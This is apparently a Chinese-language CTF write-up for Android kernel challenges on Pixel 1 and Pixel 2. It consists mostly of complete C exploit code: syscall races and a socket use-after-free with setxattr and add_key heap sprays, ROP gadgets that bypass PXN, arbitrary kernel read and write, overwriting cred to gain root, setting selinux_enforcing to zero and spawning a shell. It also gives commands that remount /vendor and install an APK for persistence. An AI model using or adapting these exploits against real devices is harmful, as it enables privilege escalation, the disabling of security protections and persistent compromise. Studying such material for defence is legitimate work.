131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/syscall.h>
#include <sched.h>
#include <stdint.h>
#include <pthread.h>
#include <linux/keyctl.h>

#define __NR_race 604

#define pause() {write(STDOUT_FILENO, "[*] Paused (press enter to continue)\n", 37); getchar();}

// #define DB_STACK_ADDR 0xfffffe0000010f30

typedef struct mystruct {
size_t size;
char buffer[0];
}mystruct;

size_t race(mystruct *userkey, char *buffer, unsigned long len, char *userhmac){
return syscall(__NR_race, userkey, buffer, len, userhmac);
}

void err_msg(char *msg)
{
printf("\033[31m\033[1m[!] %s \033[0m\n",msg);
exit(0);
}
void output_msg(char *msg)
{
printf("\033[34m\033[1m[+] %s \033[0m\n",msg);
}
void print_addr(char *msg, size_t value)
{
printf("\033[35m\033[1m[*] %s == %p\033[0m\n",msg,(size_t *)value);
}
void bind_core(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
output_msg("Process binded to core");
}

int status = 1;
char buf_userkey[0x1000];
char hmac[20] = {0};
char ptext[0x1000] = {0};
mystruct *userkey = buf_userkey;

pthread_t raceFunc;
size_t core_pattern = 0xFFFFFF8008DEE930;
size_t selinux_enforcing = 0xFFFFFF8008EDA770;
size_t gadget_write = 0xFFFFFF8008131E60;
//ldr x0, [x0, #0x100] ; ret
size_t gadget_read = 0xffffff8008099fcc;
size_t cryptoctx_getbits = 0xFFFFFF80080DB018;
size_t bss = 0xFFFFFF8008E92200;
size_t work_for_cpu_fn = 0xFFFFFF80080D000C;
size_t selnl_notify_setenforce = 0xFFFFFF80083EF928;
size_t selinux_status_update_setenforce = 0xFFFFFF80083FF540;
/*
.kernel:FFFFFF8008707744 LDRB W8, [X0,#0x311]
.kernel:FFFFFF8008707748 MOV X19, X0
.kernel:FFFFFF800870774C ADD X29, SP, #0x10
.kernel:FFFFFF8008707750 CBZ W8, loc_FFFFFF8008707774
.kernel:FFFFFF8008707754 LDR X8, [X19,#0x338]
.kernel:FFFFFF8008707758 CBZ X8, loc_FFFFFF8008707764
.kernel:FFFFFF800870775C ADD X0, X19, #0x318
.kernel:FFFFFF8008707760 BLR X8
*/
size_t mov_x19_gadget = 0xFFFFFF8008707744;
/*
.kernel:FFFFFF80080DB3F8 LDR X8, [X19,#0xC8]
.kernel:FFFFFF80080DB3FC MOV X0, X22
.kernel:FFFFFF80080DB400 MOV X1, X21
.kernel:FFFFFF80080DB404 MOV X2, X20
.kernel:FFFFFF80080DB408 BLR X8
.kernel:FFFFFF80080DB40C LDR X8, [X19,#0xD0]
.kernel:FFFFFF80080DB410 MOV X20, X0
.kernel:FFFFFF80080DB414 MOV X0, X19
.kernel:FFFFFF80080DB418 BLR X8
.kernel:FFFFFF80080DB41C SXTW X0, W20
.kernel:FFFFFF80080DB420
.kernel:FFFFFF80080DB420 loc_FFFFFF80080DB420 ; CODE XREF: handle_128+118↑j
.kernel:FFFFFF80080DB420 LDP X29, X30, [SP,#0x40+var_s0]
.kernel:FFFFFF80080DB424 LDP X20, X19, [SP,#0x40+var_10]
.kernel:FFFFFF80080DB428 LDP X22, X21, [SP,#0x40+var_20]
.kernel:FFFFFF80080DB42C LDP X24, X23, [SP,#0x40+var_30]
.kernel:FFFFFF80080DB430 LDR X25, [SP+0x40+var_40],#0x50
.kernel:FFFFFF80080DB434 RET
*/
size_t gadget2 = 0xFFFFFF80080DB3F8;
size_t ret = 0xFFFFFF80080DB434;
/*
.kernel:FFFFFF80080DB40C LDR X8, [X19,#0xD0]
.kernel:FFFFFF80080DB410 MOV X20, X0
.kernel:FFFFFF80080DB414 MOV X0, X19
.kernel:FFFFFF80080DB418 BLR X8
.kernel:FFFFFF80080DB41C SXTW X0, W20
.kernel:FFFFFF80080DB420
.kernel:FFFFFF80080DB420 loc_FFFFFF80080DB420 ; CODE XREF: handle_128+118↑j
.kernel:FFFFFF80080DB420 LDP X29, X30, [SP,#0x40+var_s0]
.kernel:FFFFFF80080DB424 LDP X20, X19, [SP,#0x40+var_10]
.kernel:FFFFFF80080DB428 LDP X22, X21, [SP,#0x40+var_20]
.kernel:FFFFFF80080DB42C LDP X24, X23, [SP,#0x40+var_30]
.kernel:FFFFFF80080DB430 LDR X25, [SP+0x40+var_40],#0x50
.kernel:FFFFFF80080DB434 RET
*/
size_t gadget3 = 0xFFFFFF80080DB40C;
//
size_t mov_x0_zero = 0xffffff800809cc8c;
#define INIT_TASK 0xFFFFFF8008DBAF80
#define TASK_OFFSET 0x4a8
#define PID_OFFSET 0x5a8
#define PTR_CRED_OFFSET 0x748

void competeFunc() {
while(status) {
// printf("I'm child thread\n");
userkey->size = 0x10;
}
}

size_t exec_func(size_t func,size_t arg,int check_ret,int ret_val) {
*(size_t *)&userkey->buffer[0x10] = cryptoctx_getbits;
*(size_t *)&userkey->buffer[0x18] = mov_x19_gadget;

status = 1;
if (pthread_create(&raceFunc,NULL,competeFunc,NULL) < 0){
err_msg("Fail to create thread\n");
}

size_t t0 = time(NULL);
size_t ret = 0;
while (1) {
*(char *)(ptext + 0x311) = 1;
*(size_t *)(ptext + 0x338) = gadget2;

*(size_t *)(ptext + 0xc8) = mov_x0_zero;
*(size_t *)(ptext + 0xd0) = work_for_cpu_fn;

*(size_t *)(ptext + 0x20) = func;
*(size_t *)(ptext + 0x28) = arg;

userkey->size = 0x20;
race(userkey, ptext, 0x340, hmac);
if (check_ret) {
if (*(size_t *)(ptext + 0x30) >> 48 == ret_val) {
ret = *(size_t *)(ptext + 0x30);
break;
}
} else {
//不能判断是否竞争成功,直接每个运行6秒
if (time(NULL) - t0 > 6) {
break;
}
}
}
status = 0;
return ret;
}
size_t read_qword(size_t addr,size_t check_val) {
*(size_t *)&userkey->buffer[0x10] = cryptoctx_getbits;
*(size_t *)&userkey->buffer[0x18] = mov_x19_gadget;

status = 1;
if (pthread_create(&raceFunc,NULL,competeFunc,NULL) < 0){
err_msg("Fail to create thread\n");
}

size_t t0 = time(NULL);
size_t ret = 0;
while (1) {
*(char *)(ptext + 0x311) = 1;
*(size_t *)(ptext + 0x338) = gadget2;

*(size_t *)(ptext + 0xc8) = mov_x0_zero;
*(size_t *)(ptext + 0xd0) = work_for_cpu_fn;

*(size_t *)(ptext + 0x20) = gadget_read;
*(size_t *)(ptext + 0x28) = addr - 0x100;

userkey->size = 0x20;
race(userkey, ptext, 0x340, hmac);

if ((*(size_t *)(ptext + 0x30) >> 48) == check_val) {
ret = *(size_t *)(ptext + 0x30);
break;
}
}
status = 0;
return ret;
}
void write_qword(size_t addr,size_t val) {
*(size_t *)&userkey->buffer[0x10] = cryptoctx_getbits;
*(size_t *)&userkey->buffer[0x18] = mov_x19_gadget;

status = 1;
if (pthread_create(&raceFunc,NULL,competeFunc,NULL) < 0){
err_msg("Fail to create thread\n");
}

size_t t0 = time(NULL);
while (1) {
*(char *)(ptext + 0x311) = 1;
*(size_t *)(ptext + 0x338) = gadget3;
*(size_t *)(ptext + 0xd0) = gadget_write;

*(size_t *)(ptext + 0x20) = addr;
*(size_t *)(ptext + 0) = val;

userkey->size = 0x20;
race(userkey, ptext, 0x340, hmac);
//不能判断是否竞争成功,直接每个运行6秒
if (time(NULL) - t0 > 6) break;
}
status = 0;
}

size_t get_current_task() {
size_t task = INIT_TASK;
size_t result = 0;
int i = 0;
int pid;
int current_task_pid = getpid();

while(result == 0 && i++ < 1000) {
task = read_qword(task + TASK_OFFSET,0xffff) - TASK_OFFSET;
printf("task: %#lx\n", task);
if(task == INIT_TASK) {
break;
}
pid = read_qword(task + PID_OFFSET,0) & 0xFFFFFFFF;
printf("pid: %d\n", pid);
if(pid == current_task_pid) {
result = task;
}
}

return result;
}

int main(){
int ret;
bind_core(0);

memcpy(userkey->buffer, "1234567890abcdef", 0x10);
memcpy(ptext, "This is a test message. ", 0x20);
size_t current_task = get_current_task();
printf("current_task_addr=0x%lx\n",current_task);
size_t current_cred = read_qword(current_task + PTR_CRED_OFFSET,0xffff);
printf("current_cred: 0x%lx\n", current_cred);
for(int i = 0; i < 8; i ++) {
//gadget的val不能为0,所以错位写入0
write_qword(current_cred + 4 + i * 4, 0xFFFFFFFF00000000);
}
system("/bin/sh");

return 0;
}

Kernel: ksocket

Android 7 - Pixel 1

在sys_avss_getscore函数中,fput的位置不对,在fput的后面,此时如果有其他进程对sockfd进行close,将会释放sock * sk对象,但是sk指针仍然会在后面的代码中使用,造成UAF。为了让漏洞竞争成功率更高,可以让程序走到msleep分支。要走到此分支,需要get_avss_status返回2

即需要avss->peer不为空。

也就是有一个客户端client,对server进行connect后,server->peer = client;只要不对client进行close,则server->peer将一直不为0。因此我们有足够的时间可以制造sock *对象的UAF,然后利用setxattr伪造sock *对象。

sys_avss_getscore函数尾部主要是调用了sock_put(sk)。

通过对sock_put的逆向,调用链有sock_put -> sk_free -> __sk_free,其中__sk_free中有一个函数指针调用

我们可以寻找合适的gadget,执行kernel_setsockopt,我们的目标是执行kernel_setsockopt中的set_fs(KERNEL_DS),但是不要执行尾部的set_fs(oldfs)。

这就需要伪造sock->ops->setsockopt为其他合适的gadget。由于ARM64的特性,BLR并不会将返回地址压栈溢,因此只需要再调用一层同样栈大小的函数__sk_backlog_rcv,该函数可以进一步执行一个新的函数指针。只需要在该函数内部执行add rsp , xxxx ; ret调整栈,ret会返回到__sk_backlog_rcv,此时__sk_backlog_rcv的栈与kernel_setsockopt的栈是同一个,__sk_backlog_rcv会直接返回到kernel_setsockopt的上层__sk_free,因此绕过了kernel_setsockopt尾部的set_fs(old_fs)。

函数执行完后会一路返回到用户态。由于set_fs(old_fs)没有执行,此时用户态可以直接读写内核地址空间。任意地址读写原语如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int read_at_address_pipe(void* address, void* buf, ssize_t len) {
int ret = 1;
int pipes[2];

if(pipe(pipes))
return 1;

if(write(pipes[1], address, len) != len)
goto end;
if(read(pipes[0], buf, len) != len)
goto end;

ret = 0;
end:
close(pipes[1]);
close(pipes[0]);
return ret;
}

int write_at_address_pipe(void* address, void* buf, ssize_t len) {
int ret = 1;
int pipes[2];

if(pipe(pipes))
return 1;

if(write(pipes[1], buf, len) != len)
goto end;
if(read(pipes[0], address, len) != len)
goto end;

ret = 0;
end:
close(pipes[1]);
close(pipes[0]);
return ret;
}

搜索cred结构体然后直接改写uid等字段实现root,通过任意地址读写,改写selinux_enforcing为0,关闭selinux。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/xattr.h>
#include <netinet/in.h>
#include <linux/socket.h>
#include <linux/unistd.h>
#include <sched.h>

#define AF_AVSS 1024
#define AVSS_PORT 2024

/*my custom kernel
uint64_t kernel_setsockopt = 0xFFFFFFC0004E3F70;
uint64_t ksymtab___sk_backlog_rcv = 0xFFFFFFC0007A70B8;
uint64_t add_sp_40_ret = 0xFFFFFFC0004EB048;
#define INIT_TASK 0xFFFFFFC00089A1E0
#define TASK_OFFSET 0x240
#define PID_OFFSET 0x300
#define PTR_CRED_OFFSET 0x498
*/
//pixel 1 kernel
uint64_t kernel_setsockopt = 0xFFFFFFC000C402FC;
uint64_t ksymtab___sk_backlog_rcv = 0xFFFFFFC00106D740;
uint64_t add_sp_40_ret = 0xffffffc0000954fc;
size_t selinux_enforcing = 0xFFFFFFC001716ACC;
#define INIT_TASK 0xFFFFFFC001522120
#define TASK_OFFSET 0x3a8
#define PID_OFFSET 0x468
#define PTR_CRED_OFFSET 0x610

struct avss_addr {
sa_family_t avss_family;
uint16_t year;
uint32_t id;
} __attribute__((packed));

struct avss_data {
uint8_t score;
char buff[128];
} __attribute__((packed));

int create_server(int year,int id) {
int sockfd;
struct avss_addr addr;
sockfd = socket(AF_AVSS, SOCK_DGRAM, 0);
if (sockfd < 0) {
perror("socket failed");
return -1;
}

memset(&addr, 0, sizeof(addr));
addr.avss_family = AF_AVSS;
addr.year = year;
addr.id = id;

if (bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
perror("bind failed");
close(sockfd);
return -1;
}
return sockfd;
}

int client_connect(int year,int id) {
int sockfd;
struct avss_addr addr;

sockfd = socket(AF_AVSS, SOCK_DGRAM, 0);
if (sockfd < 0) {
perror("socket failed");
return -1;
}

memset(&addr, 0, sizeof(addr));
addr.avss_family = AF_AVSS;
addr.year = year;
addr.id = id;

if (connect(sockfd,(struct sockaddr *)&addr, sizeof(addr)) < 0) {
perror("connect failed");
close(sockfd);
return -1;
}
return sockfd;
}

char payload[0x1000];
int client_thread_finished = 0;

void *client_thread(void *arg) {
size_t serverfd = (size_t)arg;
struct avss_data data;

int client_fd = client_connect(2023,1);

memset(&data, 0, sizeof(data));
data.score = 85; // 示例得分
strcpy(data.buff, "Hello from client!");

if (send(client_fd, &data, sizeof(data),0) < 0) {
perror("sendto failed");
close(client_fd);
return NULL;
}
printf("Message sent to server.\n");
usleep(500000);
//UAF
close(serverfd);
usleep(500000);
//setxattr("/tmp", "ha1vk", payload, 0x360, 0);
if (setxattr("/data/local/tmp", "ha1vk", payload, 0x360, 0)) {
perror("setxattr");
}
sleep(5);
client_thread_finished = 1;
return NULL;
}

int read_at_address_pipe(void* address, void* buf, ssize_t len) {
int ret = 1;
int pipes[2];

if(pipe(pipes))
return 1;

if(write(pipes[1], address, len) != len)
goto end;
if(read(pipes[0], buf, len) != len)
goto end;

ret = 0;
end:
close(pipes[1]);
close(pipes[0]);
return ret;
}

int write_at_address_pipe(void* address, void* buf, ssize_t len) {
int ret = 1;
int pipes[2];

if(pipe(pipes))
return 1;

if(write(pipes[1], buf, len) != len)
goto end;
if(read(pipes[0], address, len) != len)
goto end;

ret = 0;
end:
close(pipes[1]);
close(pipes[0]);
return ret;
}

size_t read_qword(size_t addr) {
size_t val = 0;
if (read_at_address_pipe((void *)addr,&val,8)) {
printf("read qword error\n");
exit(-1);
}
return val;
}

uint32_t read_dword(size_t addr) {
uint32_t val = 0;
if (read_at_address_pipe((void *)addr,&val,4)) {
printf("read dword error\n");
exit(-1);
}
return val;
}

void write_dword(size_t addr,uint32_t val) {
if (write_at_address_pipe((void *)addr,&val,4)) {
printf("read qword error\n");
exit(-1);
}
}

void write_qword(size_t addr,size_t val) {
if (write_at_address_pipe((void *)addr,&val,8)) {
printf("read qword error\n");
exit(-1);
}
}

size_t get_current_task() {
size_t task = INIT_TASK;
size_t result = 0;
int i = 0;
int pid;
int current_task_pid = getpid();

while(result == 0 && i++ < 1000) {
task = read_qword(task + TASK_OFFSET) - TASK_OFFSET;
printf("task: %#lx\n", task);
if(task == INIT_TASK) {
break;
}
pid = read_dword(task + PID_OFFSET);
printf("pid: %d\n", pid);
if(pid == current_task_pid) {
result = task;
}
}

return result;
}

int main() {
size_t serverfd;
struct avss_addr addr;
uint64_t score;
uint64_t x = 0;
pthread_t client_th;
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(1,&mask);

if(sched_setaffinity(0,sizeof(mask),&mask)== -1) {
perror("sched setaffinity");
return -1;
}

memset(payload,'a',0x1000);

/*my custom kernel
*(int *)(&payload[0x114]) = 1;
*(int *)(&payload[0x64]) = 1;

*(size_t *)(&payload[0x28]) = ksymtab___sk_backlog_rcv - 0x68;
//gadget
*(size_t *)(&payload[0x290]) = kernel_setsockopt;
//return to userspace
*(size_t *)(&payload[0x288]) = add_sp_40_ret;*/

//pixel 1 kernel
*(int *)(&payload[0x11C]) = 1;
*(int *)(&payload[0x6C]) = 1;

*(size_t *)(&payload[0x28]) = ksymtab___sk_backlog_rcv - 0x68;
//gadget
*(size_t *)(&payload[0x2b0]) = kernel_setsockopt;

*(size_t *)(&payload[0x100]) = 0x8000;
//return to userspace
*(size_t *)(&payload[0x2a8]) = add_sp_40_ret;

serverfd = create_server(2023,1);
if (pthread_create(&client_th, NULL, client_thread, (void *)serverfd) != 0) {
perror("Failed to create client thread");
return 1;
}

while (!client_thread_finished) {
score = 0;
if (syscall(281, serverfd, &score) <0) {
//printf("syscall error\n");
}
//printf("score=%d,x=%d\n",score,x);
}
//close(serverfd);
printf("bypass PXN done\n");
size_t current_task = get_current_task();
printf("current_task_addr=0x%lx\n",current_task);
size_t current_cred = read_qword(current_task + PTR_CRED_OFFSET);
printf("current_cred: 0x%lx\n", current_cred);

for(int i = 0; i < 4; i ++) {
write_qword(current_cred + 4 + i * 8, 0);
}
write_dword(selinux_enforcing, 0);
system("/system/bin/sh");
return 0;
}

提权后,可以通过以下命令将一个app安装到系统中实现持久化

1
2
3
4
./busybox mount -o remount,rw /vendor
mkdir /vendor/app/Polaris
cp polaris.apk /vendor/app/Polaris
reboot

重启后即可见效果

Android 8 - Pixel 2

UAF的制造与Android 7有点不一样,这次UAF,我们使用一个新的AVSS socket去占位,经过sys_avss_getscore尾部的sock_put时,这个新的AVSS socket引用计数会减1。为了让这个新的AVSS socket也成为UAF状态,我们使用的是client,而不是server,因为server的引用为3,而client的引用为2(create时为1,connect时为2)。这个client经过sys_avss_getscore尾部的sock_put后,引用为1。此时对server进行close,client的引用为0,被free掉了。但是client的文件描述符可以继续操作,这就使得client成为了一个UAF的sock对象。

通过伪造parse指针为读写的gadget,可以实现任意地址读写。

同时需要伪造一下selinux用到的指针,因为bind时会经过selinux来到这个函数,只需要伪造任意的一个地址,满足*(int *)addr == 1,即可绕过。

通过任意地址读写,改写selinux_enforcing为0,关闭selinux,然后搜索cred结构体并改写uid等字段提权。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/syscall.h>
#include <pthread.h>
#include <sys/xattr.h>
#include <netinet/in.h>
#include <linux/socket.h>
#include <linux/unistd.h>
#include <sys/msg.h>
#include <linux/keyctl.h>
#include <sched.h>

#define AF_AVSS 1024
#define AVSS_PORT 2024

size_t kernel_base;
size_t gadget_leak;
size_t gadget_write;
size_t init_task;
//pixel 2 kernel
#define TASK_OFFSET 0x440
#define PID_OFFSET 0x538
#define PTR_CRED_OFFSET 0x6E8

struct avss_addr {
sa_family_t avss_family;
uint16_t year;
uint32_t id;
} __attribute__((packed));

struct avss_data {
uint8_t score;
char buff[128];
} __attribute__((packed));

int create_server(int year,int id) {
int sockfd;
struct avss_addr addr;
sockfd = socket(AF_AVSS, SOCK_DGRAM, 0);
if (sockfd < 0) {
perror("socket failed");
return -1;
}

memset(&addr, 0, sizeof(addr));
addr.avss_family = AF_AVSS;
addr.year = year;
addr.id = id;

if (bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
perror("bind failed");
close(sockfd);
return -1;
}
return sockfd;
}

int client_connect(int year,int id) {
int sockfd;
struct avss_addr addr;

sockfd = socket(AF_AVSS, SOCK_DGRAM, 0);
if (sockfd < 0) {
perror("socket failed");
return -1;
}

memset(&addr, 0, sizeof(addr));
addr.avss_family = AF_AVSS;
addr.year = year;
addr.id = id;

if (connect(sockfd,(struct sockaddr *)&addr, sizeof(addr)) < 0) {
perror("connect failed");
close(sockfd);
return -1;
}
return sockfd;
}

char payload[0x1000];
int client_thread_finished = 0;

void spray_addkey(int count) {
int i;
char desc[0x400];
for (i = 0; i < count; i++) {
memset(desc, 'b', 0x300);
desc[0x300] = 0;
syscall(__NR_add_key, "user", desc, payload, 0x400, KEY_SPEC_PROCESS_KEYRING);
}
}

int newserverfd;
int newclient_fd;

void *client_thread(void *arg) {
size_t serverfd = (size_t)arg;
struct avss_data data;

int client_fd = client_connect(2023,1);

memset(&data, 0, sizeof(data));
data.score = 85; // 示例得分
strcpy(data.buff, "Hello from client!");

if (send(client_fd, &data, sizeof(data),0) < 0) {
perror("sendto failed");
close(client_fd);
return NULL;
}
printf("Message sent to server.\n");
usleep(100000);
//UAF
close(serverfd);
usleep(500000);
//使用一个任意文件占位原来的serverfd描述符,但是不能用avss_socket去,不然sk指针会重新获取
open("/dev/null",0);
//使用newclient的sock结构体去占位,经过getscore中的sk_free时,newclient的引用将减1但没释放
newclient_fd = client_connect(2023,2);
close(serverfd);
//关闭newclient的一个引用,由于之前减了1,这次关闭引用后,newclient的引用为0将被释放
close(newserverfd);
sleep(5);
close(client_fd);
client_thread_finished = 1;
return NULL;
}

ssize_t syscall_send(int sockfd, const void *buf, size_t len, int flags) {
ssize_t ret;

asm volatile (
"mov x8, %1\n"
"mov x0, %2\n"
"mov x1, %3\n"
"mov x2, %4\n"
"mov x3, %5\n"
"mov x4, #0\n"
"mov x5, #0\n"
"svc #0\n"
"mov %0, x0\n"
: "=r" (ret)
: "r" (SYS_sendto), "r" (sockfd), "r" (buf), "r" (len), "r" (flags) // 输入寄存器
: "x0", "x1", "x2", "x3", "x4", "x5", "x8" // clobbered 寄存器
);

return ret;
}

int client_trigger;

uint32_t read_dword(size_t addr) {
struct avss_addr sk_addr;
memset(payload, 0, 0x360);
*(size_t *)(&payload[0x180]) = addr - 0x58;
// sock_has_perm
*(size_t *)(&payload[0x270]) = kernel_base + 0x12512f8; // fake a sk_security_struct

*(size_t *)(&payload[0x2c8]) = 2023; // year
*(size_t *)(&payload[0x2cc]) = 5; // id
payload[0x2d0] = 1; // score
*(size_t *)(&payload[0x2e0]) = gadget_leak; // parse
spray_addkey(100);

memset(&sk_addr, 0, sizeof(sk_addr));
sk_addr.avss_family = AF_AVSS;
sk_addr.year = 2023;
sk_addr.id = 5;

if (connect(client_trigger, (struct sockaddr *)&sk_addr, sizeof(sk_addr)) < 0) {
perror("client trigger connect failed");
return -1;
}

uint32_t x = (uint32_t)syscall_send(client_trigger, "aaaa", 4, 0);
close(client_trigger);
client_trigger = socket(AF_AVSS, SOCK_DGRAM, 0);
if (client_trigger < 0) {
perror("socket failed");
return -1;
}
return x;
}

size_t read_qword(size_t addr) {
uint32_t low = read_dword(addr);
uint32_t high = read_dword(addr + 4);
size_t val = low + ((size_t)high << 32);
return val;
}

int write_qword(size_t addr,size_t val) {
struct avss_addr sk_addr;
memset(payload, 0, 0x360);
*(size_t *)(&payload[0x20]) = addr - 0x68;
// sock_has_perm
*(size_t *)(&payload[0x270]) = kernel_base + 0x12512f8; // fake a sk_security_struct

*(size_t *)(&payload[0x2c8]) = 2023; // year
*(size_t *)(&payload[0x2cc]) = 5; // id
payload[0x2d0] = 1; // score
*(size_t *)(&payload[0x2e0]) = gadget_write; // parse
spray_addkey(100);

memset(&sk_addr, 0, sizeof(sk_addr));
sk_addr.avss_family = AF_AVSS;
sk_addr.year = 2023;
sk_addr.id = 5;

if (connect(client_trigger, (struct sockaddr *)&sk_addr, sizeof(sk_addr)) < 0) {
perror("client trigger connect failed");
return -1;
}

uint32_t x = (uint32_t)syscall_send(client_trigger, "ha1vk", val, 0);
close(client_trigger);
client_trigger = socket(AF_AVSS, SOCK_DGRAM, 0);
if (client_trigger < 0) {
perror("socket failed");
return -1;
}
return x;
}

size_t get_current_task() {
size_t task = init_task;
size_t result = 0;
int i = 0;
int pid;
int current_task_pid = getpid();

while(result == 0 && i++ < 1000) {
task = read_qword(task + TASK_OFFSET) - TASK_OFFSET;
printf("task: %#lx\n", task);
if(task == init_task) {
break;
}
pid = read_dword(task + PID_OFFSET);
printf("pid: %d\n", pid);
if(pid == current_task_pid) {
result = task;
}
}

return result;
}

int main() {
size_t serverfd;
struct avss_addr addr;
uint64_t score;
uint64_t x = 0;
pthread_t client_th;

//全部分配到一个CPU上执行,否则很难堆喷成功
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(1, &mask);
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) {
perror("sched setaffinity");
return -1;
}

memset(payload, 0, 0x1000);

serverfd = create_server(2023, 1);
newserverfd = create_server(2023, 2);

client_trigger = socket(AF_AVSS, SOCK_DGRAM, 0);
if (client_trigger < 0) {
perror("socket failed");
return -1;
}

if (pthread_create(&client_th, NULL, client_thread, (void *)serverfd) != 0) {
perror("Failed to create client thread");
return 1;
}

while (!client_thread_finished) {
score = 0;
if (syscall(285, serverfd, &score) < 0) {
// printf("syscall error\n");
}
}

// now newclient_fd is UAF
printf("start leaking kernel base(wait a few minutes)...\n");
*(uint16_t *)&payload[0x10] = 0x400;
*(uint32_t *)&payload[0x2C8] = 2023; //year
*(uint32_t *)&payload[0x2CC] = 4; //iod
payload[0x2D0] = 100; //score
*(uint64_t *)&payload[0x2D8] = 0; //peer
*(uint64_t *)&payload[0x2E0] = 0xFFFFFF80090D7E34; //avss_default_parse
while (1) {
*(uint64_t *)&payload[0x2E0] += 0x100000;
spray_addkey(100);
if (syscall(285, newclient_fd, &score) == 0) {
printf("found kernel address\n");
break;
}
}
kernel_base = *(uint64_t *)&payload[0x2E0] - 0x1057e34;
//kernel_base = 0xffffff8d6a480000;
printf("kernel_base=0x%lx\n", kernel_base);
init_task = kernel_base + 0x254d750;
// 0xffffff800869a73c : ldr x0, [x0, #0x180] ; ldr x0, [x0, #0x58] ; ret
gadget_leak = kernel_base + 0x61a73c;
//0xffffff80088e4dd0 : ldr x1, [x0, #0x20] ; str x2, [x1, #0x68] ; ldrb w1, [x0, #0x35] ; orr w1, w1, #4 ; strb w1, [x0, #0x35] ; ret
gadget_write = kernel_base + 0x864dd0;
size_t selinux_enforcing = kernel_base + 0x285fa4c;
// 伪造sock结构体
memset(payload, 0, 0x360);
// 绕过selinux函数sock_has_perm的检查
*(size_t *)(&payload[0x270]) = kernel_base + 0x12512f8; // fake a sk_security_struct
spray_addkey(100);

memset(&addr, 0, sizeof(addr));
addr.avss_family = AF_AVSS;
addr.year = 2023;
addr.id = 5;

if (bind(newclient_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
perror("bind failed");
return -1;
}

size_t current_task = get_current_task();
printf("current_task_addr=0x%lx\n",current_task);
size_t current_cred = read_qword(current_task + PTR_CRED_OFFSET);
printf("current_cred: 0x%lx\n", current_cred);

for(int i = 0; i < 4; i ++) {
write_qword(current_cred + 4 + i * 8, 0);
}

write_qword(selinux_enforcing-4,0xffffffff00000000);
memset(payload, 0, 0x400);
//设置sk的引用,避免最后程序退出时关闭文件描述符时释放这个UAF的sk造成系统崩溃
*(size_t *)(&payload[0x80]) = 0xff;
*(size_t *)(&payload[0x120]) = 0xff;
spray_addkey(100);

system("/system/bin/sh");

return 0;
}

